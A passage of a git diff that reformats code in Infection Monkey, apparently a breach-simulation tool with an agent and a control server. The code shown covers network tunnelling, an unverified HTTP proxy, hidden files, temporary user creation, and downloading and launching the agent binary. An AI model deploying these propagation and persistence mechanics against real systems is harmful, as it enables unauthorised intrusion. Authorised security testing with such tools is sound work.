(HOSTNAME, IP)) + monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda:(HOSTNAME, IP)) return PostBreachTelem(PBA, RESULT) def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): post_breach_telem_test_instance.send() expected_data = { - "command": PBA_COMMAND, - "result": RESULT, - "name": PBA_NAME, - "hostname": HOSTNAME, - "ip": IP, + "command":PBA_COMMAND, + "result":RESULT, + "name":PBA_NAME, + "hostname":HOSTNAME, + "ip":IP, } expected_data = json.dumps(expected_data, cls=post_breach_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py index 07c6fbf414e..ffb2dbf8b03 100644 --- a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py @@ -9,14 +9,14 @@ IP = "0.0.0.0" HOST = VictimHost(IP, DOMAIN_NAME) HOST_AS_DICT = { - "ip_addr": IP, - "domain_name": DOMAIN_NAME, - "os": {}, - "services": {}, - "icmp": False, - "monkey_exe": None, - "default_tunnel": None, - "default_server": None, + "ip_addr":IP, + "domain_name":DOMAIN_NAME, + "os":{}, + "services":{}, + "icmp":False, + "monkey_exe":None, + "default_tunnel":None, + "default_server":None, } HOST_SERVICES = {} @@ -28,7 +28,7 @@ def scan_telem_test_instance(): def test_scan_telem_send(scan_telem_test_instance, spy_send_telemetry): scan_telem_test_instance.send() - expected_data = {"machine": HOST_AS_DICT, "service_count": len(HOST_SERVICES)} + expected_data = {"machine":HOST_AS_DICT, "service_count":len(HOST_SERVICES)} expected_data = json.dumps(expected_data, cls=scan_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/infection_monkey/telemetry/tests/test_state_telem.py index 18776f987ef..fa67301e243 100644 --- a/monkey/infection_monkey/telemetry/tests/test_state_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_state_telem.py @@ -15,7 +15,7 @@ def state_telem_test_instance(): def test_state_telem_send(state_telem_test_instance, spy_send_telemetry): state_telem_test_instance.send() - expected_data = {"done": IS_DONE, "version": VERSION} + expected_data = {"done":IS_DONE, "version":VERSION} expected_data = json.dumps(expected_data, cls=state_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py index 0c4027a05a6..c1f91e16594 100644 --- a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py @@ -14,7 +14,7 @@ def trace_telem_test_instance(): def test_trace_telem_send(trace_telem_test_instance, spy_send_telemetry): trace_telem_test_instance.send() - expected_data = {"msg": MSG} + expected_data = {"msg":MSG} expected_data = json.dumps(expected_data, cls=trace_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py b/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py index eab763790bc..a13a929ce1a 100644 --- a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py @@ -12,7 +12,7 @@ def tunnel_telem_test_instance(): def test_tunnel_telem_send(tunnel_telem_test_instance, spy_send_telemetry): tunnel_telem_test_instance.send() - expected_data = {"proxy": None} + expected_data = {"proxy":None} expected_data = json.dumps(expected_data, cls=tunnel_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py index 8beec11814c..db59f016922 100644 --- a/monkey/infection_monkey/telemetry/trace_telem.py +++ b/monkey/infection_monkey/telemetry/trace_telem.py @@ -21,4 +21,4 @@ def __init__(self, msg): telem_category = TelemCategoryEnum.TRACE def get_data(self): - return {"msg": self.msg} + return {"msg":self.msg} diff --git a/monkey/infection_monkey/telemetry/tunnel_telem.py b/monkey/infection_monkey/telemetry/tunnel_telem.py index 05f057ee9bd..45ef0b17691 100644 --- a/monkey/infection_monkey/telemetry/tunnel_telem.py +++ b/monkey/infection_monkey/telemetry/tunnel_telem.py @@ -16,4 +16,4 @@ def __init__(self): telem_category = TelemCategoryEnum.TUNNEL def get_data(self): - return {"proxy": self.proxy} + return {"proxy":self.proxy} diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index e2b3a69daaf..d33acfc0a27 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -99,8 +99,8 @@ def send_head(self): self.send_header("Content-type", "application/octet-stream") self.send_header( - "Content-Range", - "bytes " + str(start_range) + "-" + str(end_range - 1) + "/" + str(size), + "Content-Range", + "bytes " + str(start_range) + "-" + str(end_range - 1) + "/" + str(size), ) self.send_header("Content-Length", min(end_range - start_range, size)) self.end_headers() @@ -108,8 +108,8 @@ def send_head(self): def log_message(self, format_string, *args): LOG.debug( - "FileServHTTPRequestHandler: %s - - [%s] %s" - % (self.address_string(), self.log_date_time_string(), format_string % args) + "FileServHTTPRequestHandler: %s - - [%s] %s" + % (self.address_string(), self.log_date_time_string(), format_string % args) ) @@ -127,11 +127,11 @@ def do_POST(self): try: dest_path = self.path r = requests.post( - url=dest_path, - data=post_data, - verify=False, - proxies=infection_monkey.control.ControlClient.proxies, - timeout=SHORT_REQUEST_TIMEOUT, + url=dest_path, + data=post_data, + verify=False, + proxies=infection_monkey.control.ControlClient.proxies, + timeout=SHORT_REQUEST_TIMEOUT, ) self.send_response(r.status_code) except requests.exceptions.ConnectionError as e: @@ -160,8 +160,8 @@ def do_CONNECT(self): conn = socket.create_connection(address) except socket.error as e: LOG.debug( - "HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" - % (repr(address), e) + "HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" + % (repr(address), e) ) self.send_error(504) # 504 Gateway Timeout return @@ -187,8 +187,8 @@ def do_CONNECT(self): def log_message(self, format_string, *args): LOG.debug( - "HTTPConnectProxyHandler: %s - [%s] %s" - % (self.address_string(), self.log_date_time_string(), format_string % args) + "HTTPConnectProxyHandler: %s - [%s] %s" + % (self.address_string(), self.log_date_time_string(), format_string % args) ) @@ -213,10 +213,10 @@ class TempHandler(FileServHTTPRequestHandler): def report_download(dest=None): LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) TempHandler.T1105Telem( - TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename, + TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename, ).send() self.downloads += 1 if not self.downloads < self.max_downloads: @@ -270,10 +270,10 @@ class TempHandler(FileServHTTPRequestHandler): def report_download(dest=None): LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) TempHandler.T1105Telem( - TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename, + TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename, ).send() self.downloads += 1 if not self.downloads < self.max_downloads: diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index 60a995edc86..6c79e5cd240 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -71,11 +71,11 @@ def run(self): pipe = SocketsPipe(source, dest) pipes.append(pipe) LOG.debug( - "piping sockets %s:%s->%s:%s", - address[0], - address[1], - self.dest_host, - self.dest_port, + "piping sockets %s:%s->%s:%s", + address[0], + address[1], + self.dest_host, + self.dest_port, ) pipe.start() diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 83e03fec2d8..ecfd313d782 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -27,9 +27,9 @@ def _set_multicast_socket(timeout=DEFAULT_TIMEOUT, adapter=""): sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((adapter, MCAST_PORT)) sock.setsockopt( - socket.IPPROTO_IP, - socket.IP_ADD_MEMBERSHIP, - struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY), + socket.IPPROTO_IP, + socket.IP_ADD_MEMBERSHIP, + struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY), ) return sock @@ -138,14 +138,14 @@ def run(self): return proxy = self._proxy_class( - local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port + local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port ) LOG.info( - "Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s", - proxy.__class__.__name__, - self.local_port, - self._target_addr, - self._target_port, + "Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s", + proxy.__class__.__name__, + self.local_port, + self._target_addr, + self._target_port, ) proxy.start() @@ -157,7 +157,7 @@ def run(self): if ip_match: answer = "%s:%d" % (ip_match, self.local_port) LOG.debug( - "Got tunnel request from %s, answering with %s", address[0], answer + "Got tunnel request from %s, answering with %s", address[0], answer ) self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT)) elif b"+" == search: @@ -173,7 +173,8 @@ def run(self): LOG.info("Stopping tunnel, waiting for clients: %s" % repr(self._clients)) - # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in QUIT_TIMEOUT seconds + # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in + # QUIT_TIMEOUT seconds while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) diff --git a/monkey/infection_monkey/utils/auto_new_user.py b/monkey/infection_monkey/utils/auto_new_user.py index 26c1c837c5e..f3ebda0af1a 100644 --- a/monkey/infection_monkey/utils/auto_new_user.py +++ b/monkey/infection_monkey/utils/auto_new_user.py @@ -8,8 +8,10 @@ class AutoNewUser(metaclass=abc.ABCMeta): """ RAII object to use for creating and using a new user. Use with `with`. User will be created when the instance is instantiated. - User will be available for use (log on for Windows, for example) at the start of the `with` scope. - User will be removed (deactivated and deleted for Windows, for example) at the end of said `with` scope. + User will be available for use (log on for Windows, for example) at the start of the `with` + scope. + User will be removed (deactivated and deleted for Windows, for example) at the end of said + `with` scope. Example: # Created # Logged on diff --git a/monkey/infection_monkey/utils/auto_new_user_factory.py b/monkey/infection_monkey/utils/auto_new_user_factory.py index 898226d4648..22c57c5786f 100644 --- a/monkey/infection_monkey/utils/auto_new_user_factory.py +++ b/monkey/infection_monkey/utils/auto_new_user_factory.py @@ -5,13 +5,15 @@ def create_auto_new_user(username, password, is_windows=is_windows_os()): """ - Factory method for creating an AutoNewUser. See AutoNewUser's documentation for more information. + Factory method for creating an AutoNewUser. See AutoNewUser's documentation for more + information. Example usage: with create_auto_new_user(username, PASSWORD) as new_user: ... :param username: The username of the new user. :param password: The password of the new user. - :param is_windows: If True, a new Windows user is created. Otherwise, a Linux user is created. Leave blank for + :param is_windows: If True, a new Windows user is created. Otherwise, a Linux user is + created. Leave blank for automatic detection. :return: The new AutoNewUser object - use with a `with` scope. """ diff --git a/monkey/infection_monkey/utils/hidden_files.py b/monkey/infection_monkey/utils/hidden_files.py index cc973cc5ebe..335619ab4f8 100644 --- a/monkey/infection_monkey/utils/hidden_files.py +++ b/monkey/infection_monkey/utils/hidden_files.py @@ -27,8 +27,8 @@ def get_commands_to_hide_folders(): def cleanup_hidden_files(is_windows=is_windows_os()): subprocess.run( - get_windows_commands_to_delete() - if is_windows # noqa: DUO116 - else " ".join(get_linux_commands_to_delete()), - shell=True, + get_windows_commands_to_delete() + if is_windows # noqa: DUO116 + else " ".join(get_linux_commands_to_delete()), + shell=True, ) diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index 9144a24ec9c..a2ece7df8e7 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -14,7 +14,8 @@ def get_linux_commands_to_add_user(username): "-M", # Do not create homedir "--expiredate", # The date on which the user account will be disabled. datetime.datetime.today().strftime("%Y-%m-%d"), - "--inactive", # The number of days after a password expires until the account is permanently disabled. + "--inactive", + # The number of days after a password expires until the account is permanently disabled. "0", # A value of 0 disables the account as soon as the password has expired "-c", # Comment "MONKEY_USER", # Comment @@ -40,10 +41,10 @@ def __init__(self, username, password): commands_to_add_user = get_linux_commands_to_add_user(username) logger.debug( - "Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)) + "Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)) ) _ = subprocess.check_output( - " ".join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True + " ".join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True ) def __enter__(self): @@ -51,7 +52,7 @@ def __enter__(self): def run_as(self, command): command_as_new_user = "sudo -u {username} {command}".format( - username=self.username, command=command + username=self.username, command=command ) return os.system(command_as_new_user) @@ -59,10 +60,10 @@ def __exit__(self, exc_type, exc_val, exc_tb): # delete the user. commands_to_delete_user = get_linux_commands_to_delete_user(self.username) logger.debug( - "Trying to delete {} with commands {}".format( - self.username, str(commands_to_delete_user) - ) + "Trying to delete {} with commands {}".format( + self.username, str(commands_to_delete_user) + ) ) _ = subprocess.check_output( - " ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True + " ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True ) diff --git a/monkey/infection_monkey/utils/plugins/plugin.py b/monkey/infection_monkey/utils/plugins/plugin.py index f72585cd3df..a37b1674aca 100644 --- a/monkey/infection_monkey/utils/plugins/plugin.py +++ b/monkey/infection_monkey/utils/plugins/plugin.py @@ -33,7 +33,7 @@ def get_classes(cls) -> Sequence[Callable]: objects = [] candidate_files = _get_candidate_files(cls.base_package_file()) LOG.info( - "looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name()) + "looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name()) ) # Go through all of files for file in candidate_files: @@ -55,9 +55,9 @@ def get_classes(cls) -> Sequence[Callable]: LOG.debug("Added {} to list".format(class_object.__name__)) except Exception as e: LOG.warning( - "Exception {} when checking if {} should run".format( - str(e), class_object.__name__ - ) + "Exception {} when checking if {} should run".format( + str(e), class_object.__name__ + ) ) return objects @@ -76,7 +76,7 @@ def get_instances(cls) -> Sequence[Type[PluginType]]: instances.append(instance) except Exception as e: LOG.warning( - "Exception {} when initializing {}".format(str(e), class_object.__name__) + "Exception {} when initializing {}".format(str(e), class_object.__name__) ) return instances diff --git a/monkey/infection_monkey/utils/windows/hidden_files.py b/monkey/infection_monkey/utils/windows/hidden_files.py index 818c88a6e35..55e22d6acf3 100644 --- a/monkey/infection_monkey/utils/windows/hidden_files.py +++ b/monkey/infection_monkey/utils/windows/hidden_files.py @@ -53,13 +53,13 @@ def get_winAPI_to_hide_files(): fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden win32file.CreateFile( - HIDDEN_FILE_WINAPI, - fileAccess, - 0, # sharing mode: 0 => can't be shared - None, # security attributes - fileCreation, - fileFlags, - 0, + HIDDEN_FILE_WINAPI, + fileAccess, + 0, # sharing mode: 0 => can't be shared + None, # security attributes + fileCreation, + fileFlags, + 0, ) # template file return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index 9e5913673b8..8178d75df76 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -47,13 +47,15 @@ def __enter__(self): import win32security try: - # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera + # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf + # -winbase-logonusera self.logon_handle = win32security.LogonUser( - self.username, - ".", # Use current domain. - self.password, - win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user), since we're using a shell. - win32con.LOGON32_PROVIDER_DEFAULT, + self.username, + ".", # Use current domain. + self.password, + win32con.LOGON32_LOGON_INTERACTIVE, + # Logon type - interactive (normal user), since we're using a shell. + win32con.LOGON32_PROVIDER_DEFAULT, ) # Which logon provider to use - whatever Windows offers. except Exception as err: raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err))) @@ -74,20 +76,25 @@ def run_as(self, command): # Open process as that user # https://github.com/tjguk/winsys/blob/master/winsys/_advapi32.py proc_info = _advapi32.CreateProcessWithLogonW( - username=self.username, domain=".", password=self.password, command_line=command + username=self.username, domain=".", password=self.password, command_line=command ) process_handle = proc_info.hProcess thread_handle = proc_info.hThread logger.debug( - "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS) + "Waiting for process to finish. Timeout: {}ms".format( + WAIT_TIMEOUT_IN_MILLISECONDS) ) - # https://social.msdn.microsoft.com/Forums/vstudio/en-US/b6d6a7ae-71e9-4edb-ac8f-408d2a41750d/what-events-on-a-process-handle-signal-satisify-waitforsingleobject?forum=vcgeneral - # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later. - _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out. - process_handle, # Ping process handle - WAIT_TIMEOUT_IN_MILLISECONDS, # Timeout in milliseconds + # https://social.msdn.microsoft.com/Forums/vstudio/en-US/b6d6a7ae-71e9-4edb-ac8f + # -408d2a41750d/what-events-on-a-process-handle-signal-satisify-waitforsingleobject + # ?forum=vcgeneral + # Ignoring return code, as we'll use `GetExitCode` to determine the state of the + # process later. + _ = win32event.WaitForSingleObject( + # Waits until the specified object is signaled, or time-out. + process_handle, # Ping process handle + WAIT_TIMEOUT_IN_MILLISECONDS, # Timeout in milliseconds ) exit_code = win32process.GetExitCodeProcess(process_handle) @@ -117,12 +124,12 @@ def try_deactivate_user(self): try: commands_to_deactivate_user = get_windows_commands_to_deactivate_user(self.username) logger.debug( - "Trying to deactivate {} with commands {}".format( - self.username, str(commands_to_deactivate_user) - ) + "Trying to deactivate {} with commands {}".format( + self.username, str(commands_to_deactivate_user) + ) ) _ = subprocess.check_output( - commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True + commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True ) except Exception as err: raise NewUserError("Can't deactivate user {}. Info: {}".format(self.username, err)) @@ -131,12 +138,12 @@ def try_delete_user(self): try: commands_to_delete_user = get_windows_commands_to_delete_user(self.username) logger.debug( - "Trying to delete {} with commands {}".format( - self.username, str(commands_to_delete_user) - ) + "Trying to delete {} with commands {}".format( + self.username, str(commands_to_delete_user) + ) ) _ = subprocess.check_output( - commands_to_delete_user, stderr=subprocess.STDOUT, shell=True + commands_to_delete_user, stderr=subprocess.STDOUT, shell=True ) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index cea71a3267c..69732157784 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -34,7 +34,7 @@ def upgrade(opts): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: with open( - WormConfiguration.dropper_target_path_win_64, "wb" + WormConfiguration.dropper_target_path_win_64, "wb" ) as written_monkey_file: shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) except (IOError, AttributeError) as e: @@ -42,28 +42,29 @@ def upgrade(opts): return monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, opts.depth + opts.parent, opts.tunnel, opts.server, opts.depth ) monkey_cmdline = ( - MONKEY_CMDLINE_WINDOWS % {"monkey_path": WormConfiguration.dropper_target_path_win_64} - + monkey_options + MONKEY_CMDLINE_WINDOWS % { + "monkey_path":WormConfiguration.dropper_target_path_win_64} + + monkey_options ) monkey_process = subprocess.Popen( - monkey_cmdline, - shell=True, - stdin=None, - stdout=None, - stderr=None, - close_fds=True, - creationflags=DETACHED_PROCESS, + monkey_cmdline, + shell=True, + stdin=None, + stdout=None, + stderr=None, + close_fds=True, + creationflags=DETACHED_PROCESS, ) LOG.info( - "Executed 64bit monkey process (PID=%d) with command line: %s", - monkey_process.pid, - monkey_cmdline, + "Executed 64bit monkey process (PID=%d) with command line: %s", + monkey_process.pid, + monkey_cmdline, ) time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index b06494c2157..bbd06b9a7d9 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -62,13 +62,15 @@ def serve_static_file(static_path): try: return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc/ui/dist"), static_path) except NotFound: - # Because react uses various urls for same index page, this is probably the user's intention. + # Because react uses various urls for same index page, this is probably the user's + # intention. if static_path == HOME_FILE: flask_restful.abort( - Response( - "Page not found. Make sure you ran the npm script and the cwd is monkey\\monkey.", - 500, - ) + Response( + "Page not found. Make sure you ran the npm script and the cwd is " + "monkey\\monkey.", + 500, + ) ) return serve_home() @@ -82,11 +84,13 @@ def init_app_config(app, mongo_url): # See https://flask-jwt-extended.readthedocs.io/en/stable/options app.config["JWT_ACCESS_TOKEN_EXPIRES"] = env_singleton.env.get_auth_expiration_time() - # Invalidate the signature of JWTs if the server process restarts. This avoids the edge case of getting a JWT, + # Invalidate the signature of JWTs if the server process restarts. This avoids the edge case + # of getting a JWT, # deciding to reset credentials and then still logging in with the old JWT. app.config["JWT_SECRET_KEY"] = str(uuid.uuid4()) - # By default, Flask sorts keys of JSON objects alphabetically, which messes with the ATT&CK matrix in the + # By default, Flask sorts keys of JSON objects alphabetically, which messes with the ATT&CK + # matrix in the # configuration. See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. app.config["JSON_SORT_KEYS"] = False @@ -101,7 +105,8 @@ def init_app_services(app): database.init() Database.init_db() - # If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island. + # If running on AWS, this will initialize the instance data, which is used "later" in the + # execution of the island. RemoteRunAwsService.init() @@ -120,15 +125,15 @@ def init_api_resources(api): api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/") api.add_resource(ClientRun, "/api/client-monkey", "/api/client-monkey/") api.add_resource( - Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" + Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" ) api.add_resource(MonkeyConfiguration, "/api/configuration", "/api/configuration/") api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/") api.add_resource( - MonkeyDownload, - "/api/monkey/download", - "/api/monkey/download/", - "/api/monkey/download/", + MonkeyDownload, + "/api/monkey/download", + "/api/monkey/download/", + "/api/monkey/download/", ) api.add_resource(NetMap, "/api/netmap", "/api/netmap/") api.add_resource(Edge, "/api/netmap/edge", "/api/netmap/edge/") @@ -146,10 +151,10 @@ def init_api_resources(api): api.add_resource(PBAFileDownload, "/api/pba/download/") api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH) api.add_resource( - FileUpload, - "/api/fileUpload/", - "/api/fileUpload/?load=", - "/api/fileUpload/?restore=", + FileUpload, + "/api/fileUpload/", + "/api/fileUpload/?load=", + "/api/fileUpload/?restore=", ) api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/") api.add_resource(AttackConfiguration, "/api/attack") @@ -170,7 +175,7 @@ def init_app(mongo_url): app = Flask(__name__) api = flask_restful.Api(app) - api.representations = {"application/json": output_json} + api.representations = {"application/json":output_json} init_app_config(app, mongo_url) init_app_services(app) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 91a2b7d25fd..3785b01b1e0 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -17,28 +17,28 @@ def parse_cli_args() -> IslandArgs: import argparse parser = argparse.ArgumentParser( - description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", - formatter_class=argparse.ArgumentDefaultsHelpFormatter, + description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", + formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument( - "-s", - "--setup-only", - action="store_true", - help="Pass this flag to cause the Island to setup and exit without actually starting. " - "This is useful for preparing Island to boot faster later-on, so for " - "compiling/packaging Islands.", + "-s", + "--setup-only", + action="store_true", + help="Pass this flag to cause the Island to setup and exit without actually starting. " + "This is useful for preparing Island to boot faster later-on, so for " + "compiling/packaging Islands.", ) parser.add_argument( - "--server-config", - action="store", - help="The path to the server configuration file.", - default=DEFAULT_SERVER_CONFIG_PATH, + "--server-config", + action="store", + help="The path to the server configuration file.", + default=DEFAULT_SERVER_CONFIG_PATH, ) parser.add_argument( - "--logger-config", - action="store", - help="The path to the logging configuration file.", - default=DEFAULT_LOGGER_CONFIG_PATH, + "--logger-config", + action="store", + help="The path to the logging configuration file.", + default=DEFAULT_LOGGER_CONFIG_PATH, ) args = parser.parse_args() diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 61242842868..4d04b70ee03 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -23,8 +23,8 @@ class Environment(object, metaclass=ABCMeta): _MONGO_DB_HOST = "localhost" _MONGO_DB_PORT = 27017 _MONGO_URL = os.environ.get( - "MONKEY_MONGO_URL", - "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)), + "MONKEY_MONGO_URL", + "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)), ) _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(minutes=30) @@ -62,12 +62,12 @@ def try_add_user(self, credentials: UserCreds): def _try_needs_registration(self) -> bool: if not self._credentials_required: raise CredentialsNotRequiredError( - "Credentials are not required " "for current environment." + "Credentials are not required " "for current environment." ) else: if self._is_registered(): raise AlreadyRegisteredError( - "User has already been registered. " "Reset credentials or login." + "User has already been registered. " "Reset credentials or login." ) return True diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index 89e7b428dd7..c11e4043629 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -5,7 +5,6 @@ class AwsEnvironment(Environment): - _credentials_required = True def __init__(self, config): diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 70d27e54673..2a5a02cfcb6 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -58,12 +58,12 @@ def save_to_file(self): def to_dict(self) -> Dict: config_dict = { - "server_config": self.server_config, - "deployment": self.deployment, - "data_dir": self.data_dir, + "server_config":self.server_config, + "deployment":self.deployment, + "data_dir":self.data_dir, } if self.aws: - config_dict.update({"aws": self.aws}) + config_dict.update({"aws":self.aws}) config_dict.update(self.user_creds.to_dict()) return config_dict diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index e7e316ac54d..695a4d393f5 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -13,9 +13,9 @@ PASSWORD = "password" ENV_DICT = { - STANDARD: standard.StandardEnvironment, - AWS: aws.AwsEnvironment, - PASSWORD: password.PasswordEnvironment, + STANDARD:standard.StandardEnvironment, + AWS:aws.AwsEnvironment, + PASSWORD:password.PasswordEnvironment, } env = None diff --git a/monkey/monkey_island/cc/environment/password.py b/monkey/monkey_island/cc/environment/password.py index 88d1f76f0d0..4a8a6d8552a 100644 --- a/monkey/monkey_island/cc/environment/password.py +++ b/monkey/monkey_island/cc/environment/password.py @@ -4,7 +4,6 @@ class PasswordEnvironment(Environment): - _credentials_required = True def get_auth_users(self): diff --git a/monkey/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py index 8135e8e3f78..35ca84a3403 100644 --- a/monkey/monkey_island/cc/environment/standard.py +++ b/monkey/monkey_island/cc/environment/standard.py @@ -5,7 +5,6 @@ class StandardEnvironment(Environment): - _credentials_required = False # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test__init__.py index dbf98eefe17..fbb23335fbe 100644 --- a/monkey/monkey_island/cc/environment/test__init__.py +++ b/monkey/monkey_island/cc/environment/test__init__.py @@ -19,7 +19,7 @@ NO_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_no_credentials.json") PARTIAL_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_partial_credentials.json") STANDARD_WITH_CREDENTIALS = os.path.join( - TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" + TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" ) STANDARD_ENV = os.path.join(TEST_RESOURCES_DIR, "server_config_standard_env.json") @@ -132,7 +132,7 @@ def test_is_credentials_set_up(self): self._test_bool_env_method("_is_credentials_set_up", env, STANDARD_ENV, False) def _test_bool_env_method( - self, method_name: str, env: Environment, config: Dict, 